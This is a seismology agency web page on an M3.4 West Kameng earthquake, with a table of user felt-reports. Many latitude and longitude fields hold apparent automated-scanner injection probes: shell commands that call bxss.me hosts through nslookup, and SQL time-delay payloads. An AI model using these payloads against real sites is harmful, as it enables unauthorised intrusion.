National Center for Seismology

Ministry of Earth Sciences

Government of India

   
Back to Earthquakes

M: 3.4 - West Kameng, Arunachal Pradesh

Origin Time 2026-03-08 07:26:16 (IST)
Lat, Long 27.33, 92.07
Magnitude 3.4
Depth 10km
Event Status Reviewed

40
35
30
25
20
15
10
5
0
6065707580859095100
 

Responses vs. Time Plot

Hours
MMI Distance Latitude Longitude Date & Time
III 12549.88 KM 39.7817 -89.6501 2026-03-13 07:55:31 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:04 UTC
III 16969.76 KM echo cxrjon$()\ ttqhsc\nz^xyu||a #' &echo cxr -89.6501 2026-03-13 08:19:04 UTC
III 16969.76 KM &echo qtlycl$()\ oroyhe\nz^xyu||a #' &echo qt -89.6501 2026-03-13 08:19:05 UTC
III 12549.88 KM 39.7817&echo svwoku$()\ ciunuv\nz^xyu||a #' & -89.6501 2026-03-13 08:19:05 UTC
III 16969.76 KM |echo whjsqm$()\ mpmvlz\nz^xyu||a #' |echo wh -89.6501 2026-03-13 08:19:05 UTC
III 12549.88 KM 39.7817|echo wiuszz$()\ ggimbq\nz^xyu||a #' | -89.6501 2026-03-13 08:19:05 UTC
III 16969.76 KM expr 9000285445 - 962945 -89.6501 2026-03-13 08:19:05 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:05 UTC
III 17080.76 KM -1 OR 5*5=25 -- -89.6501 2026-03-13 08:19:05 UTC
III 16969.76 KM (nslookup -q=cname hitvqcjybewgo84b17.bxss.me -89.6501 2026-03-13 08:19:05 UTC
III 17080.76 KM -1 OR 5*5=25 -89.6501 2026-03-13 08:19:05 UTC
III 16969.76 KM $(nslookup -q=cname hitqfyhlsmymzcb13d.bxss.m -89.6501 2026-03-13 08:19:05 UTC
III 17080.76 KM -1' OR 5*5=25 -- -89.6501 2026-03-13 08:19:05 UTC
III 16969.76 KM &nslookup -q=cname hitmsuwxvumnv3e02c.bxss.me -89.6501 2026-03-13 08:19:06 UTC
III 17080.76 KM -1" OR 5*5=25 -- -89.6501 2026-03-13 08:19:06 UTC
III 16969.76 KM &(nslookup -q=cname hityksujjlkfk2e5f0.bxss.m -89.6501 2026-03-13 08:19:06 UTC
III 17080.76 KM -1' OR 5*5=25 or 'mwjwxU6d'=' -89.6501 2026-03-13 08:19:06 UTC
III 16969.76 KM response.write(9159287*9081357) -89.6501 2026-03-13 08:19:06 UTC
III 17080.76 KM -1" OR 5*5=25 or "vdkm2qA8"=" -89.6501 2026-03-13 08:19:06 UTC
III 16969.76 KM '+response.write(9159287*9081357)+' -89.6501 2026-03-13 08:19:06 UTC
III 16969.76 KM |(nslookup -q=cname hitbpzsuoyodw2f827.bxss.m -89.6501 2026-03-13 08:19:06 UTC
III 16969.76 KM "+response.write(9159287*9081357)+" -89.6501 2026-03-13 08:19:06 UTC
III 16969.76 KM ) -89.6501 2026-03-13 08:19:06 UTC
III 16969.76 KM `(nslookup -q=cname hitnxwjsjjtqi67377.bxss.m -89.6501 2026-03-13 08:19:06 UTC
III 8271.24 KM 39.7817 response.write(9144753*9065843) 2026-03-13 08:19:06 UTC
III 16969.76 KM !(()&&!|*|*| -89.6501 2026-03-13 08:19:06 UTC
III 16969.76 KM ;(nslookup -q=cname hitvyhrsepwky8de38.bxss.m -89.6501 2026-03-13 08:19:06 UTC
III 8271.24 KM 39.7817 '+response.write(9144753*9065843)+' 2026-03-13 08:19:06 UTC
III 16969.76 KM |(nslookup${IFS}-q${IFS}cname${IFS}hitxincmow -89.6501 2026-03-13 08:19:06 UTC
III 16969.76 KM ^(#$!@#$)(()))****** -89.6501 2026-03-13 08:19:07 UTC
III 8271.24 KM 39.7817 "+response.write(9144753*9065843)+" 2026-03-13 08:19:07 UTC
III 16969.76 KM &(nslookup${IFS}-q${IFS}cname${IFS}hitxcvnuif -89.6501 2026-03-13 08:19:07 UTC
III 8271.24 KM 39.7817 ) 2026-03-13 08:19:07 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:07 UTC
III 8271.24 KM 39.7817 echo ojkyis$()\ imuoxu\nz^xyu||a #' &echo ojk 2026-03-13 08:19:07 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:07 UTC
III 8271.24 KM 39.7817 &echo zbrigp$()\ szflpb\nz^xyu||a #' &echo zb 2026-03-13 08:19:07 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:07 UTC
III 12549.88 KM 39.7817*if(now()=sysdate(),sleep(15),0) -89.6501 2026-03-13 08:19:07 UTC
III 8271.24 KM 39.7817 !(()&&!|*|*| 2026-03-13 08:19:07 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:07 UTC
III 12549.88 KM 39.7817 -89.6501&echo pskqff$()\ qddrtk\nz^xyu||a #' 2026-03-13 08:19:07 UTC
III 8271.24 KM 39.7817 ^(#$!@#$)(()))****** 2026-03-13 08:19:07 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:07 UTC
III 8271.24 KM 39.7817 |echo nofuyy$()\ mnyrnz\nz^xyu||a #' |echo no 2026-03-13 08:19:07 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:07 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501|echo spajcj$()\ stmdoy\nz^xyu||a #' 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:08 UTC
III 8271.24 KM 39.7817 expr 9000585361 - 916339 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.78170'XOR(39.7817*if(now()=sysdate(),sleep -89.6501 2026-03-13 08:19:08 UTC
III 8271.24 KM 39.7817 (nslookup -q=cname hitlxtkgewtco7efb9.bxss.me 2026-03-13 08:19:08 UTC
III 8271.24 KM 39.7817 $(nslookup -q=cname hitrgastyreln5681f.bxss.m 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:08 UTC
III 8271.24 KM 39.7817 &nslookup -q=cname hiticxhbdirue28e75.bxss.me 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:08 UTC
III 8271.24 KM 39.7817 &(nslookup -q=cname hitvwjbngqdur67209.bxss.m 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:08 UTC
III 8271.24 KM 39.7817 |(nslookup -q=cname hitxcjrjeeogq5261a.bxss.m 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:08 UTC
III 8271.24 KM 39.7817 `(nslookup -q=cname hitjggorcxmokfb4b0.bxss.m 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:08 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 8271.24 KM 39.7817 ;(nslookup -q=cname hitfvlhicupslf64b9.bxss.m 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.78170"XOR(39.7817*if(now()=sysdate(),sleep -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 8271.24 KM 39.7817 |(nslookup${IFS}-q${IFS}cname${IFS}hitlkpvpjw 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 8271.24 KM 39.7817 &(nslookup${IFS}-q${IFS}cname${IFS}hitifcsrdp 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:09 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 16969.76 KM (select(0)from(select(sleep(15)))v)/*'+(selec -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817-1; waitfor delay '0:0:15' -- -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:10 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817-1); waitfor delay '0:0:15' -- -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817-1 waitfor delay '0:0:15' -- -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:11 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:12 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817RhxG5hNY'; waitfor delay '0:0:15' -- -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:13 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
II 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:14 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817-1 OR 555=(SELECT 555 FROM PG_SLEEP(15 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817-1) OR 383=(SELECT 383 FROM PG_SLEEP(1 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:15 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:16 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:17 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:17 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:17 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:17 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:17 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:17 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:17 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:17 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:17 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:17 UTC
III 12549.88 KM 39.7817-1)) OR 533=(SELECT 533 FROM PG_SLEEP( -89.6501 2026-03-13 08:19:17 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:17 UTC
III 16969.76 KM '.gethostbyname(lc('hitln'.'lnxkpzdwa11da.bxs -89.6501 2026-03-13 08:19:18 UTC
III 16969.76 KM '"() -89.6501 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817'&&sleep(27*1000)*nxptig&&' -89.6501 2026-03-13 08:19:18 UTC
III 16969.76 KM ".gethostbyname(lc("hitvj"."kzsysrvl71db7.bxs -89.6501 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817"&&sleep(27*1000)*bmfjvz&&" -89.6501 2026-03-13 08:19:18 UTC
III 16969.76 KM gethostbyname(lc('hitgu'.'nfekrkqo7d565.bxss. -89.6501 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817'||sleep(27*1000)*goljkj||' -89.6501 2026-03-13 08:19:18 UTC
III 8271.24 KM 39.7817 '.gethostbyname(lc('hitqs'.'zckemfmlb7d1b.bxs 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817"||sleep(27*1000)*njoezz||" -89.6501 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817KUmIW1xM' OR 67=(SELECT 67 FROM PG_SLE -89.6501 2026-03-13 08:19:18 UTC
III 8271.24 KM 39.7817 ".gethostbyname(lc("hitmz"."fmxeamcice4dc.bxs 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:18 UTC
III 8271.24 KM 39.7817 gethostbyname(lc('hituz'.'ssrgvbcdd9e4b.bxss. 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:18 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 8271.24 KM 39.7817 '"() 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501'&&sleep(27*1000)*jowbna&&' 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501"&&sleep(27*1000)*emeyjq&&" 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501'||sleep(27*1000)*cwcwmt||' 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501"||sleep(27*1000)*ujbxth||" 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:19 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817W9IqROgI') OR 965=(SELECT 965 FROM PG_ -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:20 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.87 KM 39.78179WRrtnKy')) OR 311=(SELECT 311 FROM PG -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
III 12549.88 KM 39.7817 -89.6501 2026-03-13 08:19:21 UTC
